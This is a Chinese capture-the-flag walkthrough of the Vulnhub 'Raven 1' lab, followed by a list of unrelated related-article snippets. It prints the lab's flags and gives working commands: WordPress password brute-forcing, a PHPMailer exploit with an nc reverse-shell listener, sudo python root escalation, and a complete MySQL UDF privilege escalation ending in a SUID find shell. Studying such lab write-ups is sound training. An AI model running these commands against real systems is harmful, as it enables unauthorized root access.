Vulnhub系列:Raven 1
该篇为Vulnhub系列靶机渗透,本次靶机存在4个flag。下面开始我们今天的渗透之旅。Raven靶机有很多种思路,我将对其进行一一整理。
首先进行信息收集,利用arp-scan和nmap,进行靶机的ip及端口扫描


发现了22、80、111端口。下面访问80端口,在页面上一顿收集后,发现在services处,查看源代码发现了flag1。



flag1{b9bbcb33e11b80be759c4e844862482d}
下一步,继续进行信息收集,发现在blog处,是一个wordpress的框架,同时经过目录爆破发现了相关的路径

这边的/vendor/目录为wordpress的默认目录


下一步进行wordpress的信息枚举。发现了两个用户


用户:steven、michael,利用kali自带的密码本进行爆破,这里爆破时间特别长,但是还是爆破出来了


用户名:steven 密码为:pink84,进行登录后在/var/www/目录下发现了flag2.

接着在wordpress中进行信息收集,存在wp-config.php文件,该文件会存在一下配置的用户名和密码,例如数据库。果不其然,发现了数据库用户名和密码。

利用用户名和密码登录后,进行一番搜查,发现了这两个用户。同时在表wp_posts中发现了flag3和flag4,这就结束了?还没有提权呢。就可以看到flag4?


flag3{afc01ab56b50591e7dccf93122770cd2}
flag4{715dea6c055b9fe3337544932f2941ce}
不行不能这么就结束!
下面退出数据库,看看有没有什么提权方式,尝试用sudo -l,发现还真存在

这边的steven用户存在一个不用输密码的(All),使用python即可称为root,这也太easy了!
直接sudo python -c 'import pty;pty.spawn("/bin/bash")'

清清爽爽的获取了root,提权成功!
是不是以为完了~,NONONO,还有其他方法呢
回过头来,之前我们是爆破得到的密码,而且我亲试,时间特别久,那么有没有其他的方法getshell呢?在页面上一番搜索后发现了当初我们忽视的那个默认目录/vendor/,该目录下存在PATH,README,VERSION

在PATH中发现了路径,在README中发现了PHPmailer,在Version中发现了版本

在本地漏洞库中查询,查到了相应的exp

然后将其复制到本地查看该怎么使用,将对应的位置进行修改

修改好之后,python 40974.py,然后再本地开启监听,nc -vlp 4567

在浏览器里输入刚才的的后门文件名,即可反弹shell


这样就获得了个shell,然后利用python进行改造,变为交互式shell

然后下面的操作就像之前那样了,获取数据库用户名和密码,但是在提权上,换一种提权方式,利用mysql的UDF提权。
如果想用UDF提权,有三个条件,第一个为mysql root用户登录,第二个mysql的版本在5.几,第三个就是查看mysql底层是否允许udf提权,输入
show global variables like 'secure%';

1)当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
2)当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权
3)当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权!
如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。
下面查看下是否在上面说到的目录下:
show variables like '%plugin%';

在kali本地漏洞库中查找,udf的exp

将1518.c复制到项目里,编译,然后开启web服务,在shell里进入/tmp目录下进行下载
然后再次编译一下,生成个.so文件
gcc -g -shared -o xiaoli.so 1518.o -lc
-c 编译(二进制)
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
-o:执行命令后的文件名
-lc:-l 库 c库名


下一步进入mysql,进到mysql的数据库,show tables;然后重新创建一个表,我这里创建的xiaoli
接下来要给xiaoli的表中插入之前下载的xiaoli.so的恶意文件
insert into xiaoli values(load_file('/tmp/xiaoli.so'));

显示插入成功!
然后利用dumpfile函数把文件导出,outfile 多行导出,dumpfile一行导出outfile会有特殊的转换,而dumpfile是原数据导出!
新建存储函数:
select * from xiaoli into dumpfile '/usr/lib/mysql/plugin/xiaoli.so';
创建自定义函数do_system,类型是integer,别名(soname)文件名字,然后查询函数是否创建成功:
create function do_system returns integer soname 'xiaoli.so';
查看以下创建的函数:
select * from mysql.func;
创建成功!
调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令:
select do_system('chmod u+s /usr/bin/find');

执行find命令
使用find执行 shell
touch xiaoli
find xiaoli -exec "/bin/sh" \;或者:find xiaoli -exec "id" \;
cd /root
获取了root权限,进到root目录下发现了flag4

两种不同的getshell的方式,两种不同提权的方式,渗透需要灵活的思路,需要想尽办法不断地尝试,才会有意想不到的后果,总体该靶机可玩性还是特别高的,可以回顾mysql的提权,巩固操作。
每天学习一丢丢,进步一丢丢~
相关文章:

Vulnhub系列:Raven 1
该篇为Vulnhub系列靶机渗透,本次靶机存在4个flag。下面开始我们今天的渗透之旅。Raven靶机有很多种思路,我将对其进行一一整理。首先进行信息收集,利用arp-scan和nmap,进行靶机的ip及端口扫描发现了22、80、111端口。下面访问80端…...
MybatisPlus------多数据源环境(十一)
MybatisPlus------多数据源环境(十一) 生产环境中常常会存在多个数据源。 比如读写分离、一主多从、混合模式等等。 首先再pom文件中需要引入依赖: 多数据源所需要使用到的依赖 <!-- 多数据源所需要使用到的依赖--><depend…...

Tomcat+IDEA+Servlet能显示页面但提交form表单出现404问题
问题: 当我们使用tomcat启动,然后输入对应的url路径时候,能出现该html的页面,但提交表单后,却出现了404的问题,这时候我就很疑惑了....然后开始慢慢分析。 思路: 首先我们得知道404状态码是什…...
【蓝桥杯集训16】多源汇求最短路——Floyd算法(2 / 2)
目录 Floyd求最短路模板 4074. 铁路与公路 - floyd 脑筋急转弯 Floyd求最短路模板 活动 - AcWing 题目: 给定一个 n 个点 m 条边的有向图,图中可能存在重边和自环,边权可能为负数。 再给定 k 个询问,每个询问包含两个整数 x 和…...

simulink stateflow 状态机
系列文章目录 文章目录系列文章目录前言一、基操二、stateflow 数据三、chart动作四、chart的执行五、flow chart / junction六、状态机中的函数 Stateflow Functions七、chart层次结构八、案例——吸尘器机器人的驱动模式前言 一、基操 在tooltrip中选择DEBUG,通过…...

水库大坝安全监测的主要坝体类型介绍
水电站和水库大坝安全的分类中有重力坝、土石坝等不同的大坝形式。就在这里详细水库大坝安全监测按照建造形式,基本上可以分为三类:重力坝、土石坝和拱坝。 (1)重力坝 重力坝,顾名思义就是利用自身重力来维持坝体稳定…...

物理层概述(二)重点
目录前言编码与调制(1)基带信号与宽带信号编码与调制编码与调制(2)数字数据编码为数字信号非归零编码【NRZ】曼斯特编码差分曼彻斯特编码数字数据调制为模拟信号模拟数据如何编码为数字信号模拟数据调制为模拟信号物理层传输介质导…...
成都待慕电商:抖音极速版商品卡免佣扶持政策规则
新规,抖音极速版推出商品卡免佣扶持政策规则,本次抖音规则如何规定?具体往下看:一、政策简介1.1政策介绍为了更好地满足用户消费需求,丰富商家经营模式,降低商家经营成本,现平台针对商品卡场景推…...
青岛双软认定标准
软件企业的认定是有一定的标准的,需要满足以下这些条件:1、在我国境内依法设立了企业法人的企业;2、以计算机软件开发生产、系统集成、应用服务和其他相应技术服务为经营业务和主要经营收入;3、具有一种以上由本企业开发或由本企业…...

【00后卷王秘籍】python自动化测试—Python自动化框架及工具
1 、概述 手续的关于测试的方法论,都是建立在之前的文章里面提到的观点: 功能测试不建议做自动化 接口测试性价比最高 接口测试可以做自动化 后面所谈到的 测试自动化 也将围绕着 接口自动化 来介绍。 本系列选择的测试语言是 python 脚本语言。由于其…...

MySQL数据库基本操作
DDL 1、DDL解释 DDL(Data Definition Language),数据定义语言,该语言部分包括以下内容: 对数据库的常用操作 对表结构的常用操作 修改表结构1、对数据库的常用操作 2、对表结构的常用操作-创建表 创建表格式 3、对表结构的常用操作-创建表…...

2023年最新的站内SEO指南:如何通过关键词优化提高网站排名
SEO或搜索引擎优化是指通过改善网站的内部和外部元素,以获得更好的自然搜索引擎排名和更多的网站流量。 链接建设和外链是SEO的重要组成部分,因为它们可以提高网站的权威性和可信度,从而使其在搜索引擎中排名更高。 在此指南中,…...

【Java】Java环开发环境安装
Java环开发环境安装 简介: 如果要从事Java编程,则需要安装JDK,如果仅仅是运行一款Java程序则JRE就满足要求。 Java的安装包分为两类 一类是JRE其就是一个独立的Java运行环境; 一类是JDK其是Java的开发环境,不过在JDK…...

[蓝桥杯] 枚举、模拟和排列问题
文章目录 一、连号区间数 1、1 题目描述 1、2 题解关键思路与解答 二、递增三元组 2、1 题目描述 2、2 题解关键思路与解答 三、错误票据 3、1 题目描述 3、2 题解关键思路与解答 四、回文日期 4、1 题目描述 4、2 题解关键思路与解答 五、归并排序 标题:蓝桥杯——…...

C++基础了解-02-C++ 数据类型
C 数据类型 一、C 数据类型 使用编程语言进行编程时,需要用到各种变量来存储各种信息。变量保留的是它所存储的值的内存位置。这意味着,当创建一个变量时,就会在内存中保留一些空间。 可能需要存储各种数据类型(比如字符型、宽…...

关于MSVCR100.dll、MSVCR100d.dll、Msvcp100.dll、abort()R6010等故障模块排查及解决方法
一、常见故障介绍 最近在开发相机项目(项目细节由于公司保密就不介绍了),程序运行5个来月以来首次出现msvcr100.dll故障等问题,于是乎开始了分析之路,按照度娘上的一顿操作,期间也是出现了各种不一样的问…...
【蓝桥杯集训·每日一题】AcWing 3305. 作物杂交
文章目录一、题目1、原题链接2、题目描述二、解题报告1、思路分析2、时间复杂度3、代码详解三、知识风暴Spfa算法一、题目 1、原题链接 3305. 作物杂交 2、题目描述 作物杂交是作物栽培中重要的一步。 已知有 N 种作物 (编号 1 至 N),第 i 种作物从播种到成熟的时间…...
深入浅出PaddlePaddle函数——paddle.to_tensor
分类目录:《深入浅出PaddlePaddle函数》总目录 相关文章: 深入浅出PaddlePaddle函数——paddle.Tensor 深入浅出PaddlePaddle函数——paddle.to_tensor 通过已知的data来创建一个Tensor,Tensor类型为paddle.Tensor。data可以是scalar、tupl…...

JavaScript高级程序设计读书分享之10章——函数
JavaScript高级程序设计(第4版)读书分享笔记记录 适用于刚入门前端的同志 定义函数 定义函数有两种方式:函数声明和函数表达式大致看这两种方式没有什么区别,事实上,JavaScript 引擎在加载数据时对它们是区别对待的。JavaScript 引擎在任何代…...
第八章 使用 ^%ZSTART 和 ^%ZSTOP 例程自定义启动和停止行为 - 设计注意事项
文章目录第八章 使用 ^%ZSTART 和 ^%ZSTOP 例程自定义启动和停止行为 - 设计注意事项设计注意事项第八章 使用 ^%ZSTART 和 ^%ZSTOP 例程自定义启动和停止行为 - 设计注意事项 IRIS 可以在特定事件发生时执行自定义代码。需要两个步骤: 定义 ^%ZSTART 例程、^%ZSTO…...
内存分配函数malloc kmalloc vmalloc
内存分配函数malloc kmalloc vmalloc malloc实现步骤: 1)请求大小调整:首先,malloc 需要调整用户请求的大小,以适应内部数据结构(例如,可能需要存储额外的元数据)。通常,这包括对齐调整,确保分配的内存地址满足特定硬件要求(如对齐到8字节或16字节边界)。 2)空闲…...

shell脚本--常见案例
1、自动备份文件或目录 2、批量重命名文件 3、查找并删除指定名称的文件: 4、批量删除文件 5、查找并替换文件内容 6、批量创建文件 7、创建文件夹并移动文件 8、在文件夹中查找文件...

visual studio 2022更改主题为深色
visual studio 2022更改主题为深色 点击visual studio 上方的 工具-> 选项 在选项窗口中,选择 环境 -> 常规 ,将其中的颜色主题改成深色 点击确定,更改完成...

【第二十一章 SDIO接口(SDIO)】
第二十一章 SDIO接口 目录 第二十一章 SDIO接口(SDIO) 1 SDIO 主要功能 2 SDIO 总线拓扑 3 SDIO 功能描述 3.1 SDIO 适配器 3.2 SDIOAHB 接口 4 卡功能描述 4.1 卡识别模式 4.2 卡复位 4.3 操作电压范围确认 4.4 卡识别过程 4.5 写数据块 4.6 读数据块 4.7 数据流…...

基于当前项目通过npm包形式暴露公共组件
1.package.sjon文件配置 其中xh-flowable就是暴露出去的npm包名 2.创建tpyes文件夹,并新增内容 3.创建package文件夹...
在四层代理中还原真实客户端ngx_stream_realip_module
一、模块原理与价值 PROXY Protocol 回溯 第三方负载均衡(如 HAProxy、AWS NLB、阿里 SLB)发起上游连接时,将真实客户端 IP/Port 写入 PROXY Protocol v1/v2 头。Stream 层接收到头部后,ngx_stream_realip_module 从中提取原始信息…...

页面渲染流程与性能优化
页面渲染流程与性能优化详解(完整版) 一、现代浏览器渲染流程(详细说明) 1. 构建DOM树 浏览器接收到HTML文档后,会逐步解析并构建DOM(Document Object Model)树。具体过程如下: (…...
【git】把本地更改提交远程新分支feature_g
创建并切换新分支 git checkout -b feature_g 添加并提交更改 git add . git commit -m “实现图片上传功能” 推送到远程 git push -u origin feature_g...
力扣-35.搜索插入位置
题目描述 给定一个排序数组和一个目标值,在数组中找到目标值,并返回其索引。如果目标值不存在于数组中,返回它将会被按顺序插入的位置。 请必须使用时间复杂度为 O(log n) 的算法。 class Solution {public int searchInsert(int[] nums, …...

基于TurtleBot3在Gazebo地图实现机器人远程控制
1. TurtleBot3环境配置 # 下载TurtleBot3核心包 mkdir -p ~/catkin_ws/src cd ~/catkin_ws/src git clone -b noetic-devel https://github.com/ROBOTIS-GIT/turtlebot3.git git clone -b noetic https://github.com/ROBOTIS-GIT/turtlebot3_msgs.git git clone -b noetic-dev…...